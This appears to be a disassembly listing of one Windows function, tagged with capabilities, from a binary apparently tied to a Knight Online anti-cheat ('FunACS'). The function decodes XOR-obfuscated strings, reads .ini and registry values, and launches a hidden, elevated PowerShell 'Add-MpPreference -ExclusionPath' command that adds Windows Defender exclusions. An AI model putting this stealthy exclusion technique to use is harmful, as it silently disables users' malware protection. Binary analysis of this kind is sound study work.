Function at 0x425e60
Capabilities:
Create process on windows
Encode data using xor
Get common file path
Query or enumerate registry value
Read .ini file
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49f833
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x248
mov eax, dword [0x4dd094]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x210], edi
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x20c], edi
xorps xmm0, xmm0
movups xmmword [edi + 8], xmm0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0xf
mov byte [edi + 8], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
movups xmmword [edi + 0x130], xmm0
mov dword [edi + 0x140], 0
mov dword [edi + 0x144], 0xf
mov byte [edi + 0x130], 0
movups xmmword [edi + 0x154], xmm0
mov dword [edi + 0x164], 0
mov dword [edi + 0x168], 0xf
mov byte [edi + 0x154], 0
push 0x104
lea eax, [edi + 0x16c]
push 0
push eax
call fcn.00478780
xorps xmm0, xmm0
add esp, 0xc
movups xmmword [edi + 0x274], xmm0
mov dword [edi + 0x284], 0
mov dword [edi + 0x288], 0xf
mov byte [edi + 0x274], 0
mov byte [ebp - 4], 4
xor eax, eax
movaps xmm0, xmmword [0x4d7300]
xor ecx, ecx
movups xmmword [ebp - 0x18c], xmm0
mov dword [edi], 0
movaps xmm0, xmmword [0x4d6f90]
movups xmmword [ebp - 0x17c], xmm0
mov byte [edi + 0x14c], 0
movaps xmm0, xmmword [0x4d6f10]
mov byte [edi + 0x28c], 0
mov word [edi + 4], 0
mov word [edi + 0x270], ax
movups xmmword [ebp - 0x16c], xmm0
nop dword [eax]
mov al, byte [ebp - 0x18c]
xor byte [ebp + ecx - 0x18b], al
inc ecx
cmp ecx, 0x2e
jb 0x425fc0
lea ecx, [ebp - 0x18b]
mov byte [ebp - 0x15d], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425fe3
sub ecx, esi
lea eax, [ebp - 0x18b]
push ecx
push eax
lea ecx, [edi + 0x274]
call fcn.004028c0
push 0x100
call fcn.00476d82
add esp, 4
mov dword [ebp - 0x13c], eax
lea esi, [edi + 0x2c]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dl, 0x51
mov dword [ebp - 0x134], 0x34020d51
mov dword [ebp - 0x130], 0x23342723
xor ecx, ecx
mov dword [ebp - 0x12c], 0x383f387f
mov byte [ebp - 0x128], 0
nop word [eax + eax]
lea eax, [ebp - 0x133]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x426067
mov dl, byte [ebp - 0x134]
jmp 0x426050
mov ecx, esi
mov byte [ebp - 0x128], 0
xorps xmm0, xmm0
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426091
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x174]
call fcn.00408290
lea eax, [ebp - 0x133]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x174]
call fcn.004061a0
xorps xmm0, xmm0
mov dword [ebp - 0x1f8], 0
movups xmmword [ebp - 0x208], xmm0
mov dword [ebp - 0x1f4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x208], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f8], xmm0
movaps xmm0, xmmword [0x4d6ef0]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x208]
cmp dword [ebp - 0x1f4], 0x10
movups xmmword [ebp - 0x1e8], xmm0
cmovae eax, dword [ebp - 0x208]
xor ecx, ecx
mov dword [ebp - 0x138], eax
nop dword [eax]
mov al, byte [ebp - 0x1e8]
xor byte [ebp + ecx - 0x1e7], al
inc ecx
cmp ecx, 0xe
jb 0x426130
push dword [ebp - 0x138]
mov ah, 1
mov byte [ebp - 0x120], 0x57
mov al, 0x48
mov byte [ebp - 0x1d8], ah
xor al, ah
mov byte [ebp - 0x1d4], 0
mov byte [ebp - 0x1d7], al
mov cl, 0x51
xor cl, ah
mov byte [ebp - 0x119], 0
mov dl, 0x31
mov byte [ebp - 0x1d6], cl
xor dl, ah
mov byte [ebp - 0x1d9], 0
mov al, 4
mov byte [ebp - 0x1d5], dl
xor al, byte [ebp - 0x120]
mov cl, 0x32
mov byte [ebp - 0x11f], al
mov dl, 0x25
mov al, byte [ebp - 0x120]
mov ah, 0x21
xor ah, al
mov byte [ebp - 0x1d4], 0
push 0x100
push dword [ebp - 0x13c]
mov ch, cl
mov byte [ebp - 0x11c], ah
mov dh, dl
mov byte [ebp - 0x119], 0
xor cl, al
xor dl, al
xor ch, al
mov byte [ebp - 0x11e], cl
xor dh, al
mov byte [ebp - 0x11d], dl
lea eax, [ebp - 0x1e7]
mov byte [ebp - 0x11b], ch
push eax
lea eax, [ebp - 0x1d7]
mov byte [ebp - 0x11a], dh
push eax
lea eax, [ebp - 0x11f]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0x10
jb 0x42623f
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426235
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426df8
push ecx
push edx
call fcn.00476d74
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp ecx, 0x10
jb 0x426298
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42628e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426df8
push ecx
push edx
call fcn.00476d74
add esp, 8
mov dl, 0x61
mov dword [ebp - 0x134], 0x4323d61
mov dword [ebp - 0x130], 0x13041713
xor ecx, ecx
mov dword [ebp - 0x12c], 0x80f084f
mov byte [ebp - 0x128], 0
lea eax, [ebp - 0x133]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x4262d8
mov dl, byte [ebp - 0x134]
jmp 0x4262c1
mov ecx, esi
mov byte [ebp - 0x128], 0
xorps xmm0, xmm0
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426302
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x174]
call fcn.00408290
lea eax, [ebp - 0x133]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x174]
call fcn.004061a0
mov dword [ebp - 0x1f8], 0
lea esi, [ebp - 0x208]
mov dword [ebp - 0x1f4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x208], xmm0
mov dh, 0x32
mov cl, 0x5b
movups xmm0, xmmword [eax]
mov dl, 0x5e
mov byte [ebp - 0x1ed], 0x7f
mov ch, 0x41
movups xmmword [ebp - 0x208], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov al, 0x74
cmp dword [ebp - 0x1f4], 0x10
mov ah, 0x57
mov byte [ebp - 0x124], 0x11
cmovae esi, dword [ebp - 0x208]
xor al, dh
mov byte [ebp - 0x1d7], al
xor ah, dh
xor cl, dh
mov byte [ebp - 0x1d4], ah
xor dl, dh
mov byte [ebp - 0x1d8], dh
xor ch, dh
mov byte [ebp - 0x1d6], cl
mov al, 0x47
mov byte [ebp - 0x1d5], dl
xor al, byte [ebp - 0x124]
mov cl, 0x74
mov byte [ebp - 0x123], al
mov dl, 0x63
mov al, byte [ebp - 0x124]
mov ah, 0x62
mov byte [ebp - 0x1d3], ch
xor cl, al
xor dl, al
mov byte [ebp - 0x1d2], 0
xor ah, al
mov byte [ebp - 0x11c], 0
mov ch, 0x78
mov byte [ebp - 0x120], ah
xor ch, al
mov byte [ebp - 0x1d2], 0
mov dh, 0x7e
mov byte [ebp - 0x122], cl
xor dh, al
mov byte [ebp - 0x121], dl
mov al, byte [ebp - 0x1ed]
xor al, byte [ebp - 0x124]
push esi
mov byte [ebp - 0x11d], al
lea eax, [ebp - 0x1d7]
push 1
push eax
lea eax, [ebp - 0x123]
mov byte [ebp - 0x11f], ch
push eax
mov byte [ebp - 0x11e], dh
mov byte [ebp - 0x11c], 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [ebp - 0x1f4]
mov word [edi + 0x272], ax
cmp ecx, 0x10
jb 0x42649c
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426492
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426dfd
push ecx
push edx
call fcn.00476d74
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp ecx, 0x10
jb 0x4264f5
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4264eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426dfd
push ecx
push edx
call fcn.00476d74
add esp, 8
mov ecx, dword [ebp - 0x13c]
mov edx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x426500
sub edx, esi
push edx
push ecx
lea ecx, [edi + 0x130]
call fcn.004028c0
lea esi, [edi + 0x16c]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, esi
mov dword [ebp - 0x1a8], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1a4], 0
movups xmmword [ebp - 0x1b8], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426550
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1b8]
call fcn.00408290
lea eax, [ebp - 0x1d8]
mov byte [ebp - 4], 7
push eax
push 0xf003f
push 0
push str.SOFTWAREFunACSPATH
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
je 0x426713
push 0xff
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.00478780
add esp, 0xc
mov dword [ebp - 0x138], 0xff
lea eax, [ebp - 0x138]
mov dword [ebp - 0x13c], 1
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x13c]
push eax
push 0
push str.SOFTWAREFunACSPATH
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xorps xmm0, xmm0
mov dword [ebp - 0x1c0], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x1bc], 0
movups xmmword [ebp - 0x1d0], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426610
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x1d0]
call fcn.00408290
cmp dword [ebp - 0x1bc], 0x10
lea ecx, [ebp - 0x1d0]
mov edi, dword [ebp - 0x1d0]
lea edx, [ebp - 0x1b8]
mov esi, dword [ebp - 0x1a8]
setae byte [ebp - 0x1ee]
cmovae ecx, edi
cmp dword [ebp - 0x1a4], 0x10
cmovae edx, dword [ebp - 0x1b8]
cmp esi, dword [ebp - 0x1c0]
jne 0x4266c7
sub esi, 4
jb 0x426681
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x426686
add edx, 4
add ecx, 4
sub esi, 4
jae 0x426670
cmp esi, 0xfffffffc
je 0x4266ba
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x4266b3
cmp esi, 0xfffffffd
je 0x4266ba
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x4266b3
cmp esi, 0xfffffffe
je 0x4266ba
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x4266b3
cmp esi, 0xffffffff
je 0x4266ba
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x4266ba
sbb eax, eax
or eax, 1
jmp 0x4266bc
xor eax, eax
mov byte [ebp - 0x1ed], 1
test eax, eax
je 0x4266ce
mov byte [ebp - 0x1ed], 0
cmp byte [ebp - 0x1ee], 0
je 0x426706
mov ecx, dword [ebp - 0x1bc]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x4266fc
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426e02
push ecx
push edi
call fcn.00476d74
add esp, 8
cmp byte [ebp - 0x1ed], 0
jne 0x426d9e
push 0x19
xorps xmm0, xmm0
mov dword [ebp - 0x144], 0
push str.powershell.exe__command__
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x140], 0
movups xmmword [ebp - 0x154], xmm0
call fcn.00408290
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x258]
xorps xmm0, xmm0
mov dword [ebp - 0x11c], 0
push 0x10
push str.KnightOnLine.exe
movq qword [ebp - 0x124], xmm0
movups xmmword [ebp - 0x258], xmm0
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0
call fcn.00408290
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x240]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x230], 0
push str.FunACS.xem
movups xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0x22c], 0
call fcn.00408290
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x228]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x218], 0
push 0x4d6db8
movups xmmword [ebp - 0x228], xmm0
mov dword [ebp - 0x214], 0
call fcn.00408290
mov byte [ebp - 4], 0xb
push 0x48
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
call fcn.00476d3f
mov esi, eax
add esp, 4
mov dword [ebp - 0x124], esi
mov dword [ebp - 0x120], esi
lea eax, [esi + 0x48]
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x1d8], eax
xorps xmm0, xmm0
mov dword [ebp - 0x12c], 0
movq qword [ebp - 0x134], xmm0
lea edi, [ebp - 0x258]
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x130], esi
mov dword [ebp - 0x12c], eax
mov byte [ebp - 4], 0xd
push edi
mov ecx, esi
call fcn.00406400
add esi, 0x18
lea eax, [ebp - 0x210]
add edi, 0x18
mov dword [ebp - 0x130], esi
cmp edi, eax
jne 0x426871
push ecx
mov edx, esi
mov ecx, esi
call fcn.004084b0
add esp, 4
mov dword [ebp - 0x120], esi
push fcn.00402790
push 3
push 0x18
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0xf
push eax
call fcn.00477288
cmp dword [ebp - 0x1a4], 0x10
lea ecx, [ebp - 0x1b8]
mov eax, dword [ebp - 0x1a8]
cmovae ecx, dword [ebp - 0x1b8]
sub esp, 8
mov dword [ebp - 0x1e0], eax
mov eax, esp
mov dword [ebp - 0x1e4], ecx
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x1ec], 0xc0000000
mov dword [ebp - 0x1dc], 0x4d1f99
mov dword [ebp - 0x1e8], 0xb0000008
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x174]
push 0x2f
push str.Add_MpPreference__ExclusionPath___Force_
mov dword [eax], 2
call fcn.00413bf0
add esp, 0x10
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x174]
cmp dword [ebp - 0x160], 0x10
mov ecx, dword [ebp - 0x144]
cmovae edx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x140]
mov edi, dword [ebp - 0x164]
sub eax, ecx
mov dword [ebp - 0x138], ecx
push edi
push edx
cmp edi, eax
ja 0x426997
cmp dword [ebp - 0x140], 0x10
lea esi, [ebp - 0x154]
lea eax, [ecx + edi]
cmovae esi, dword [ebp - 0x154]
mov dword [ebp - 0x144], eax
lea eax, [ecx + esi]
push eax
call fcn.00478b50
mov eax, dword [ebp - 0x138]
add esp, 0xc
add eax, edi
mov byte [eax + esi], 0
jmp 0x4269a9
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x154]
push edi
call fcn.00408130
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x4269e7
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4269dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426e07
push ecx
push edx
call fcn.00476d74
add esp, 8
mov esi, dword [ebp - 0x124]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x13c], esi
mov dword [ebp - 0x1d8], eax
cmp esi, eax
je 0x426af0
push esi
push 0x2f
push str.Add_MpPreference__ExclusionPath___Force_
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x174]
call fcn.00412790
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 0x11
cmp dword [ecx + 0x14], 0x10
mov edi, dword [ecx + 0x10]
jb 0x426a34
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x140]
sub eax, edx
mov dword [ebp - 0x138], edx
push edi
push ecx
cmp edi, eax
ja 0x426a8b
cmp dword [ebp - 0x140], 0x10
lea esi, [ebp - 0x154]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x154]
mov dword [ebp - 0x144], eax
lea eax, [edx + esi]
push eax
call fcn.00478b50
mov eax, dword [ebp - 0x138]
add esp, 0xc
add eax, edi
mov byte [eax + esi], 0
mov esi, dword [ebp - 0x13c]
jmp 0x426a9d
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x154]
push edi
call fcn.00408130
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x426adb
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426ad1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426df8
push ecx
push edx
call fcn.00476d74
add esp, 8
add esi, 0x18
mov dword [ebp - 0x13c], esi
cmp esi, dword [ebp - 0x1d8]
jne 0x426a07
mov ecx, dword [ebp - 0x140]
mov eax, ecx
mov edi, dword [ebp - 0x144]
sub eax, edi
push 0x21
push str.___Verb_RunAs__WindowStyle_Hidden
cmp eax, 0x21
jb 0x426b38
cmp ecx, 0x10
lea esi, [ebp - 0x154]
lea eax, [edi + 0x21]
cmovae esi, dword [ebp - 0x154]
mov dword [ebp - 0x144], eax
lea eax, [esi + edi]
push eax
call fcn.00478b50
add esp, 0xc
mov byte [esi + edi + 0x21], 0
jmp 0x426b4b
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x154]
push 0x21
call fcn.00408130
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x154]
mov dword [ebp - 0x138], 0
cmovae eax, dword [ebp - 0x154]
mov esi, eax
mov dword [ebp - 0x1d8], eax
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x426b74
sub esi, ecx
xorps xmm0, xmm0
xor ecx, ecx
movlpd qword [ebp - 0x19c], xmm0
mov eax, esi
movlpd qword [ebp - 0x194], xmm0
add eax, 4
movlpd qword [ebp - 0x18c], xmm0
movups xmmword [ebp - 0x1e8], xmm0
setb cl
neg ecx
movlpd qword [ebp - 0x184], xmm0
or ecx, eax
movlpd qword [ebp - 0x17c], xmm0
push ecx
movlpd qword [ebp - 0x174], xmm0
movlpd qword [ebp - 0x16c], xmm0
movlpd qword [ebp - 0x164], xmm0
call fcn.00481487
mov edi, eax
add esp, 4
test edi, edi
je 0x426c91
lea eax, [esi + 1]
mov word [edi], 0x632f
push eax
push dword [ebp - 0x1d8]
lea eax, [edi + 3]
mov byte [edi + 2], 0x20
push eax
call fcn.00478b50
add esp, 0xc
mov dword [ebp - 0x1a0], 0x44
push str.COMSPEC
call fcn.0048271f
add esp, 4
mov esi, eax
call fcn.0047f91f
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x1a0]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x426c88
push 0x1388
push dword [ebp - 0x1e8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x1e8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x1e8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1e4]
call esi
push edi
call fcn.00480cda
add esp, 4
lea eax, [ebp - 0x1d8]
push eax
push 0xf003f
push 0
push str.SOFTWAREFunACSPATH
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x426cda
push 0
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREFunACSPATH
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x178]
call fcn.00406400
mov eax, dword [ebp - 0x168]
cmp dword [ebp - 0x164], 0x10
lea ecx, [eax*2 + 2]
push ecx
lea eax, [ebp - 0x178]
cmovae eax, dword [ebp - 0x178]
push eax
push 1
push 0
push str.SOFTWAREFunACSPATH
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x426d5d
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426d53
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426e0c
push ecx
push edx
call fcn.00476d74
add esp, 8
lea ecx, [ebp - 0x124]
call fcn.00404fd0
mov ecx, dword [ebp - 0x140]
cmp ecx, 0x10
jb 0x426d9e
mov edx, dword [ebp - 0x154]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426d94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426e11
push ecx
push edx
call fcn.00476d74
add esp, 8
mov ecx, dword [ebp - 0x1a4]
cmp ecx, 0x10
jb 0x426dd4
mov edx, dword [ebp - 0x1b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426dca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426e16
push ecx
push edx
call fcn.00476d74
add esp, 8
mov eax, dword [ebp - 0x210]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00476d2c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0047ebc0
call fcn.0047ebc0
call fcn.0047ebc0
call fcn.0047ebc0
call fcn.0047ebc0
call fcn.0047ebc0
call fcn.0047ebc0
int3